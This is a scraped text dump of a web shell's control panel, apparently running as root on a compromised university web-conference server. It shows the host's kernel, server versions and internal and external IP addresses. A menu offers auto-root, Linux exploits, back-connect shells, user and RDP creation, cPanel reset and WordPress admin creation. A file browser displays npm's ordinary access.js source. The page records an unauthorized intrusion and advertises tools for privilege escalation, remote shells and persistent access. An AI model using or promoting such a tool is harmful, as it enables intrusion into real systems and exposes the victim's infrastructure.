Linux web-conference.aiou.edu.pk 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.143.17.29
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
auth
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
doctor
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
access.js
5.54
KB
-rw-r--r--
adduser.js
1.31
KB
-rw-r--r--
audit.js
10.56
KB
-rw-r--r--
bin.js
515
B
-rw-r--r--
bugs.js
864
B
-rw-r--r--
build.js
4.44
KB
-rw-r--r--
cache.js
4.66
KB
-rw-r--r--
ci.js
1.19
KB
-rw-r--r--
completion.js
7.11
KB
-rw-r--r--
config.js
7.43
KB
-rw-r--r--
dedupe.js
4.88
KB
-rw-r--r--
deprecate.js
2.11
KB
-rw-r--r--
dist-tag.js
4.11
KB
-rw-r--r--
docs.js
1.04
KB
-rw-r--r--
doctor.js
3.98
KB
-rw-r--r--
edit.js
1.37
KB
-rw-r--r--
explore.js
1.69
KB
-rw-r--r--
fetch-package-metadata.js
3.84
KB
-rw-r--r--
fund.js
4.91
KB
-rw-r--r--
get.js
235
B
-rw-r--r--
help-search.js
5.64
KB
-rw-r--r--
help.js
6.35
KB
-rw-r--r--
hook.js
4.21
KB
-rw-r--r--
init.js
2.74
KB
-rw-r--r--
install-ci-test.js
486
B
-rw-r--r--
install-test.js
507
B
-rw-r--r--
install.js
36.25
KB
-rw-r--r--
link.js
5.6
KB
-rw-r--r--
logout.js
1.26
KB
-rw-r--r--
ls.js
16.09
KB
-rw-r--r--
npm.js
14.37
KB
-rw-r--r--
org.js
4.18
KB
-rw-r--r--
outdated.js
12.28
KB
-rw-r--r--
owner.js
6.6
KB
-rw-r--r--
pack.js
11.79
KB
-rw-r--r--
ping.js
1.11
KB
-rw-r--r--
prefix.js
330
B
-rw-r--r--
profile.js
11.13
KB
-rw-r--r--
prune.js
2.23
KB
-rw-r--r--
publish.js
5.14
KB
-rw-r--r--
rebuild.js
2.09
KB
-rw-r--r--
repo.js
1.44
KB
-rw-r--r--
restart.js
64
B
-rw-r--r--
root.js
320
B
-rw-r--r--
run-script.js
5.41
KB
-rw-r--r--
search.js
3.36
KB
-rw-r--r--
set.js
276
B
-rw-r--r--
shrinkwrap.js
9.82
KB
-rw-r--r--
star.js
2.11
KB
-rw-r--r--
stars.js
1.03
KB
-rw-r--r--
start.js
62
B
-rw-r--r--
stop.js
61
B
-rw-r--r--
substack.js
509
B
-rw-r--r--
team.js
4.61
KB
-rw-r--r--
test.js
374
B
-rw-r--r--
token.js
6.66
KB
-rw-r--r--
unbuild.js
4.27
KB
-rw-r--r--
uninstall.js
2.21
KB
-rw-r--r--
unpublish.js
3.51
KB
-rw-r--r--
update.js
2.16
KB
-rw-r--r--
version.js
9.79
KB
-rw-r--r--
view.js
15.11
KB
-rw-r--r--
visnup.js
4.01
KB
-rw-r--r--
whoami.js
1.77
KB
-rw-r--r--
xmas.js
1.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : access.js
'use strict' /* eslint-disable standard/no-callback-literal */ const BB = require('bluebird') const figgyPudding = require('figgy-pudding') const libaccess = require('libnpm/access') const npmConfig = require('./config/figgy-config.js') const output = require('./utils/output.js') const otplease = require('./utils/otplease.js') const path = require('path') const prefix = require('./npm.js').prefix const readPackageJson = BB.promisify(require('read-package-json')) const usage = require('./utils/usage.js') const whoami = require('./whoami.js') module.exports = access access.usage = usage( 'npm access', 'npm access public [<package>]\n' + 'npm access restricted [<package>]\n' + 'npm access grant <read-only|read-write> <scope:team> [<package>]\n' + 'npm access revoke <scope:team> [<package>]\n' + 'npm access 2fa-required [<package>]\n' + 'npm access 2fa-not-required [<package>]\n' + 'npm access ls-packages [<user>|<scope>|<scope:team>]\n' + 'npm access ls-collaborators [<package> [<user>]]\n' + 'npm access edit [<package>]' ) access.subcommands = [ 'public', 'restricted', 'grant', 'revoke', 'ls-packages', 'ls-collaborators', 'edit', '2fa-required', '2fa-not-required' ] const AccessConfig = figgyPudding({ json: {} }) function UsageError (msg = '') { throw Object.assign(new Error( (msg ? `\nUsage: ${msg}\n\n` : '') + access.usage ), {code: 'EUSAGE'}) } access.completion = function (opts, cb) { var argv = opts.conf.argv.remain if (argv.length === 2) { return cb(null, access.subcommands) } switch (argv[2]) { case 'grant': if (argv.length === 3) { return cb(null, ['read-only', 'read-write']) } else { return cb(null, []) } case 'public': case 'restricted': case 'ls-packages': case 'ls-collaborators': case 'edit': case '2fa-required': case '2fa-not-required': return cb(null, []) case 'revoke': return cb(null, []) default: return cb(new Error(argv[2] + ' not recognized')) } } function access ([cmd, ...args], cb) { return BB.try(() => { const fn = access.subcommands.includes(cmd) && access[cmd] if (!cmd) { UsageError('Subcommand is required.') } if (!fn) { UsageError(`${cmd} is not a recognized subcommand.`) } return fn(args, AccessConfig(npmConfig())) }).then( x => cb(null, x), err => err.code === 'EUSAGE' ? cb(err.message) : cb(err) ) } access.public = ([pkg], opts) => { return modifyPackage(pkg, opts, libaccess.public) } access.restricted = ([pkg], opts) => { return modifyPackage(pkg, opts, libaccess.restricted) } access.grant = ([perms, scopeteam, pkg], opts) => { return BB.try(() => { if (!perms || (perms !== 'read-only' && perms !== 'read-write')) { UsageError('First argument must be either `read-only` or `read-write.`') } if (!scopeteam) { UsageError('`<scope:team>` argument is required.') } const [, scope, team] = scopeteam.match(/^@?([^:]+):(.*)$/) || [] if (!scope && !team) { UsageError( 'Second argument used incorrect format.\n' + 'Example: @example:developers' ) } return modifyPackage(pkg, opts, (pkgName, opts) => { return libaccess.grant(pkgName, scopeteam, perms, opts) }, false) }) } access.revoke = ([scopeteam, pkg], opts) => { return BB.try(() => { if (!scopeteam) { UsageError('`<scope:team>` argument is required.') } const [, scope, team] = scopeteam.match(/^@?([^:]+):(.*)$/) || [] if (!scope || !team) { UsageError( 'First argument used incorrect format.\n' + 'Example: @example:developers' ) } return modifyPackage(pkg, opts, (pkgName, opts) => { return libaccess.revoke(pkgName, scopeteam, opts) }) }) } access['2fa-required'] = access.tfaRequired = ([pkg], opts) => { return modifyPackage(pkg, opts, libaccess.tfaRequired, false) } access['2fa-not-required'] = access.tfaNotRequired = ([pkg], opts) => { return modifyPackage(pkg, opts, libaccess.tfaNotRequired, false) } access['ls-packages'] = access.lsPackages = ([owner], opts) => { return ( owner ? BB.resolve(owner) : BB.fromNode(cb => whoami([], true, cb)) ).then(owner => { return libaccess.lsPackages(owner, opts) }).then(pkgs => { // TODO - print these out nicely (breaking change) output(JSON.stringify(pkgs, null, 2)) }) } access['ls-collaborators'] = access.lsCollaborators = ([pkg, usr], opts) => { return getPackage(pkg, false).then(pkgName => libaccess.lsCollaborators(pkgName, usr, opts) ).then(collabs => { // TODO - print these out nicely (breaking change) output(JSON.stringify(collabs, null, 2)) }) } access['edit'] = () => BB.reject(new Error('edit subcommand is not implemented yet')) function modifyPackage (pkg, opts, fn, requireScope = true) { return getPackage(pkg, requireScope).then(pkgName => otplease(opts, opts => fn(pkgName, opts)) ) } function getPackage (name, requireScope = true) { return BB.try(() => { if (name && name.trim()) { return name.trim() } else { return readPackageJson( path.resolve(prefix, 'package.json') ).then( data => data.name, err => { if (err.code === 'ENOENT') { throw new Error('no package name passed to command and no package.json found') } else { throw err } } ) } }).then(name => { if (requireScope && !name.match(/^@[^/]+\/.*$/)) { UsageError('This command is only available for scoped packages.') } else { return name } }) }
Close